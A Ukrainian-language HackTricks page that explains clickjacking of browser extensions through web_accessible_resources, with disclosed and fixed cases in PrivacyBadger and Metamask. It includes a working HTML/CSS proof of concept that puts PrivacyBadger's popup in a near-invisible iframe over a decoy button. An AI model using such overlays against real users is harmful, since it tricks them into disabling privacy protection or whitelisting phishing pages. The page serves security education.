BrowExt - ClickJacking

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

Ця сторінка буде використовувати вразливість клікджекінгу в браузерному розширенні. Якщо ви не знаєте, що таке клікджекінг, перевірте:

Розширення містить файл manifest.json, а цей файл JSON має поле web_accessible_resources. Ось, що документація Chrome говорить про це:

Ці ресурси будуть доступні на веб-сторінці за URL chrome-extension://[PACKAGE ID]/[PATH], який може бути згенерований за допомогою методу extension.getURL. Ресурси, які мають дозвіл, обслуговуються відповідними заголовками CORS, тому вони доступні через механізми, такі як XHR.1

Ресурси web_accessible_resources в браузерному розширенні не лише доступні через веб; вони також працюють з вбудованими привілеями розширення. Це означає, що вони можуть:

  • Змінювати стан розширення

  • Завантажувати додаткові ресурси

  • Взаємодіяти з браузером до певної міри

Однак ця функція представляє ризик для безпеки. Якщо ресурс в межах web_accessible_resources має яку-небудь значну функціональність, зловмисник може вбудувати цей ресурс у зовнішню веб-сторінку. Непідозрілі користувачі, які відвідують цю сторінку, можуть ненавмисно активувати цей вбудований ресурс. Така активація може призвести до непередбачених наслідків, залежно від дозволів та можливостей ресурсів розширення.

Приклад PrivacyBadger

У розширенні PrivacyBadger була виявлена вразливість, пов'язана з тим, що каталог skin/ був оголошений як web_accessible_resources наступним чином (Перевірте оригінальний пост блогу):

"web_accessible_resources": [
"skin/*",
"icons/*"
]

Ця конфігурація призвела до потенційної проблеми з безпекою. Зокрема, файл skin/popup.html, який відображається при взаємодії з іконкою PrivacyBadger у браузері, може бути вбудований в iframe. Це вбудування може бути використане для обману користувачів, щоб вони ненавмисно клацнули на "Вимкнути PrivacyBadger для цього веб-сайту". Така дія може підірвати конфіденційність користувача, вимкнувши захист PrivacyBadger і, можливо, піддаючи користувача збільшеному відстеженню. Візуальну демонстрацію цього експлойту можна переглянути у відео-прикладі ClickJacking, наданому за посиланням https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Для вирішення цієї вразливості було реалізовано просте рішення: видалення /skin/* зі списку web_accessible_resources. Ця зміна ефективно зменшила ризик, забезпечивши, що вміст каталогу skin/ не може бути доступним або зміненим через веб-доступні ресурси.

Виправлення було легким: видалити /skin/* з `web_accessible_resources.

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Приклад Metamask

Пост блогу про ClickJacking у Metamask можна знайти тут. У цьому випадку Metamask виправив уразливість, перевіривши, що протокол, який використовується для доступу до нього, був https: або http: (не chrome:, наприклад):

Ще один виправлений випадок ClickJacking у розширенні Metamask полягав у тому, що користувачі могли клацнути, щоб додати до білого списку, коли сторінка була підозріла на фішинг через “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Оскільки ця сторінка була вразливою до Clickjacking, зловмисник міг скористатися цим, показуючи щось звичайне, щоб жертва клацнула, щоб додати до білого списку, не помічаючи цього, а потім повернутися на сторінку фішингу, яка буде додана до білого списку.

Приклад Steam Inventory Helper

Перевірте наступну сторінку, щоб побачити, як XSS у розширенні браузера був поєднаний з вразливістю ClickJacking:

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated